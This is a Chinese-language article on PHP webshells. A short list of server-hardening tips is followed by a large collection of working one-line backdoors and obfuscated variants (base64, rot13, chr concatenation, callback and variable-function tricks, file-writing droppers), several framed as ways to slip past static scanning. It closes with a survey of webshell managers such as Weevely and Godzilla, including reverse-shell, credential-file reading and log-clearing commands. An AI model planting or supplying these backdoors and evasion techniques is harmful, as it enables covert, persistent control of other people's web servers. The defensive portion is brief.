简介
- webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
安全防范
从根本上解决动态网页脚本的安全问题,要做到防注入、防爆库、防COOKIES欺骗、防跨站攻击(xss)等等,务必配置好服务器FSO权限。最小的权限=最大的安全。防范webshell的最有效方法就是:可写目录不给执行权限,有执行权限的目录不给写权限。防范方法:
1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。
2、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。
3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。
4、到正规网站下载程序,下载后要对数据库名称和存放路径进行修改,数据库名称要有一定复杂性。
5、要尽量保持程序是最新版本。
6、不要在网页上加注后台管理程序登陆页面的链接。
7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过上传即可。
8、要时常备份数据库等重要文件。
9、日常要多维护,并注意空间中是否有来历不明的asp文件。
10、尽量关闭网站搜索功能,利用外部搜索工具,以防爆出数据。
11、利用白名单上传文件,不在白名单内的一律禁止上传,上传目录权限遵循最小权限原则。
- 一句话WebShell的执行过程
- 通过GET 、POST 、COOKIE这三种方式向一个网站提交数据
- 一句话木马用$ _GET[' ']、$ _POST[' ']、$ _COOKIE[' '] 、 $ _REQUEST[' ']接收传递的数据,
- 并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令
- 一句话木马大多都是只有两个部分:执行代码的函数部分和接收数据的部分
- eval是执行命令的函数,$_post['a']是接收数据
- eval函数把接收的数据当作php代码执行,这样就能够让插入了一句话木马的网站执行我们传递的任意php语句
- PHP中常见的代码执行函数
- 执行函数与WebShell的关系,PHP中可以执行代码的函数,常常被用来编写一句话木马,因此对代码执行函数做一些归纳
PHP中常见的代码执行函数
- eval()、assert()、preg_replace()、create_function()
- array_map()、call_user_func()、call_user_func_array(),array_filter()
命令执行函数
- system()、exec()、popen()、passthru()、shell_exec()
- 使用执行函数编写简单的PHP webshell
- eval()函数
- eval()函数把字符串按照PHP代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾
- assert()函数
- 与eval类似,字符串被 assert() 当做 PHP 代码来执行
- preg_replace()函数
- preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将
- replacement 参数当作 PHP 代码
- 5.5版本 /e修饰符被弃用;7.0版本不再支持/e修饰符
- create_function()函数
- create_function主要用来创建匿名函数
- 如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令
- Webshell变形和隐藏
基础变形方法
(1)str_replace函数
$a=str_replace("x", "", "axsxxxxsxexrt");把字符串 "axsxxxxsxexrt" 中的字符 "x" 替换成 ""
最后得出的结果为:assert@$a($_POST["cmd"]);//@assert($_POST["cmd"];//@隐藏报错信息
(2)简单拼接
<?php
@$_POST["k"]($_POST["v"]);//k=assert&v=phpinfo(); k用来传递参数,v用来传递PHP代码
?>
(3)preg_replace函数
preg_replace的/e模式能够执行恶意代码,放在第二个参数上
<?php preg_replace("/p/e",'@assert($_POST["k"])', "pentest");?> //从第三个参数里面搜索 p 如果找到就将第二个参数作为 PHP 代码执行
($code = $_POST['code']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($code)', 'add');//使用 str_rot13方式加密 eval为 riny,使用 . 连接 最后输出 @eval($_POST['code'])
(4)自定义函数create_function()
<?php $fun=create_function('',$_POST['a']);//自定义一个函数,第一个''参数为空,create_function从前端接收字符串代码$_POST['a']
$fun();//执行这个函数?>
create_function(参数列表, string类型code)
(5)回调函数 call_user_func()
<?php
@call_user_func(assert,$_POST['a']);
?>//第一个参数为assert,第二个参数 $_POST['a']为第一个参数的参数
call_user_func(函数名,string的code)
(6)file_put_contents函数
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("testshell.php", $test);
?>
file_put_contents("testshell.php",$_GET[‘k’]);
file_put_contents($_GET[“file”],$_GET[“shell”]);//前面的参数是文件名,后者参数表示写的木马内容,注意单双引号
(7)JS型的WEBSHELL
<script language=php>@eval($_POST['web']);</script>
- 其他变形方式
- PHP变量函数
<?php $a = "eval"; $a(@$_POST['a']); ?>
eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型)。这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require,...
更改为:
<?php $a = "assert"; @$a(@$_POST['a']); ?>
- PHP可变变量
<?php $bb="eval"; $a="bb"; $$a($_POST['a']); ?> 同上不能使用 eval,更改为 <?php $bb = "assert"; $a = "bb"; @$$a($_POST['a']); ?>
str_replace函数 <?php $a=str_replace("Waldo", "", "aWaldossert"); $a(@$_POST['key']); ?> base64_decode函数 <?php $a=base64_decode("YXNzZXJ0");//使用 base64_decode 加密 assert $a($_POST['a']); ?> str_rot13函数 $a=str_rot13("nffreg");//使用 rot13 加密 assert $a($_POST['p']); "."操作符 <?php $a = "a" . "s"; $b = "s" . "e"; $c = "r" . "t"; $d = $a . $b . $c; //assert @$d($_POST['key']); ?> 数组变形 $__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09"; $__P_P="abcdefghijklmnopqrstuvwxyz"; $__X_X="123456789"; $__O_O=$__X_X[5].$__X_X[3]."_";//64_ $__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];//base $__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];//base64_decode $__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];//enco $__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4]; $__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13]; $_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");'); @$_[00]($__H_H($__H_H($__C_C))); //解码后即==> eval($_POST[x]); 花括号(PHP特性) <?php $tk = array("a"=>"assert");//赋值$tk为数组,指定第一个参数的值为 assert $a = "${$tk["a"]($_POST[key])}";//给 $a 赋值 //$a=”${assert($_POST[key])}” ?>
回调函数 用回调函数过滤数组中的元素,注意php的版本问题,5.2版本测试不通! <?php $e = $_REQUEST['e'];//接受用户发来的恶意函数 assert $arr = array($_POST['pass'],); array_filter($arr, $e);//array_filter(array($_POST['pass'],),assert’) ?>// e=assert&pass=phpinfo(); array_map函数 将函数作用到数组中的每个值上,做相应的处理,并返回带有新值的数组: $e = $_REQUEST['p']; $arr = array($_POST['key'],); array_map($e, $arr); uasort函数 使用用户自定义的比较函数对数组 $arr 中的元素按键值进行排序:PHP>5.4 $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, $e); 变量加密 加密类变形 <?php if (isset($_POST['com']) && md5($_POST['com']) == '4d236d9a2d102c5fe6ad1c50da4bec50' && isset($_POST['content'])) { $content = strtr($_POST['content'], '-_', '+/='); }//判断提交的是否是 com 和md5 加密的 com 而且 $_POST提交的值不为空,strtr() 函数转换字符串中特定的字符。'-_',要改变的字符 '+/='要改变为的字符。 eval(base64_decode($content));//使用base64_decode 加密 $content ?> hackbar: com=com&content=ZXZhbCgkX1BPU1RbJ2tleSddKTs=&key=phpinfo(); 变量拼接类变形 <?php $sF="PCT4BA6ODSE_"; $s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];//_POST if(isset($s22)){assert($s22);} ?> //用assert,不需要加密了 加密拼接类变形 <?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>5).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> 先构造chr字符串,使用chr函数分别构造了eval($_POST[1]);和create_function。 最后执行:create_function( "", eval( $_POST[1]);); <?php error_reporting(0); $b="zxczxczxczxczxcxzczx"; function yuag_array($b,$c) { $b=strrev($b); array_map(substr_replace($b, 'ss', 1, 0),array($c)); } yuag_array("trea",$_POST['yuag']); ?> 先是构造了一个函数yuag_array,然后传入了两个参数,经过反转和替换字符串构造出assert。 这样最后执行的就是: array_map( assert,array($_POST['yuag'])) ; <?php error_reporting(0); $b = "zxczxczxczxczxcxzczx"; function yuag_array($b, $c) { $b = strrev($b); //strrev() 函数反转字符串。 array_map(substr_replace($b, 'ss', 1, 0), array($c)); //array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 } //substr_replace() 函数把字符串的一部分替换为另一个字符串。 //substr_replace(string,replacement,start,length) //string 必需。规定要检查的字符串。 //replacement 必需。规定要插入的字符串。 //start 必需。规定在字符串的何处开始替换。 正数 - 在第 start 个偏移量开始替换 负数 - 在从字符串结尾的第 start 个偏移量开始替换 0 - 在字符串中的第一个字符处开始替换 //把 $b 的值替换为 ss yuag_array("trea", $_POST['yuag']); //调用 yuag_array 函数,反转字符串 trea ?>
常见的WebShell管理工具: 中国菜刀 中国蚁剑 冰蝎 weevely Godzilla
中国菜刀(Chopper) 中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
中国菜刀的使用: 首先开启 WEB 环境,为了方便测试 PHP 的版本不能过高,使用 PHP 5X 进行测试
中国蚁剑(AntSword) AntSword是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。 github项目地址:https://github.com/AntSwordProject/antSword
冰蝎3.0,需要 JDK 环境
使用 冰蝎 3.0 自带的 webshell 文件,PHP版本 为 7X
Weevely是一种Python编写的webshell管理工具,跨平台,只支持PHP。 github项目地址:https://github.com/epinna/weevely3 用法示例: weevely generate <password> <path> weevely <URL> <password> [cmd]
:help 显示帮助信息 :shell_su 通过更变使用者来执行shell命令,可以获得root权限来执行命令. :shell_sh 执行 shell 命令. :shell_php 执行 PHP 命令. :system_extensions 收集PHP和webserver扩展列表 :system_info 收集系统信息 :system_procs 列出正在运行的进程 :audit_disablefunctionbypass 使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell :audit_etcpasswd 查看/etc/passwd文件 :audit_suidsgid 查找带有SUID或SGID标志的文件。 :audit_phpconf 查看php配置信息 :audit_filesystem 审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等 :backdoor_reversetcp 执行反向TCP shell. 需要nc -lvp <port>监听 :backdoor_tcp 在TCP端口上生成shell :net_scanTCP端口扫描.:net_mail 发送邮件. :net_ifconfig 获取网络接口地址. :net_curl 执行类似curl的HTTP请求. :net_proxy 运行本地代理以通过目标转移HTTP/HTTPS浏览 :net_phpproxy 在目标上安装PHP代理. :bruteforce_sql 可用来猜解数据库密码. :file_find 查找具有给定名称和属性的文件. :file_download 从远程文件系统下载文件. :file_check 获取文件的属性和权限. :file_touch 更改文件时间戳.:file_cd 更改当前工作目录. :file_grep 打印与多个文件中的模式匹配的行. :file_gzip 压缩或解压gzip文件. :file_tar 压缩或解压tar文件. :file_enum 检查路径列表的存在和权限 :file_bzip2 压缩或解压bzip2文件. :file_mount 使用HTTPfs挂载远程文件系统. :file_clearlog 从文件中删除字符串. :file_zip 压缩或解压zip文件. :file_cp 复制单个文件. :file_upload2web 自动将文件上传到Web文件夹并获取相应的URL. :file_edit 在本地编辑器上编辑远程文件. :file_read 从远程文件系统中读取远程文件. :file_webdownload 指定URL下载文件. :file_upload 文件上载到远程文件系统. :file_ls 列出目录内容. :file_rm 删除远程文件. :sql_dump :sql_console 执行SQL查询或运行sql控制台.
- 护网期间,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥斯拉“
- 一些特性
- 为什么要用哥斯拉?
- 1. 哥斯拉全部类型的shell均过市面所有静态查杀
- 2. 哥斯拉流量加密过市面全部流量waf
- 3. 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的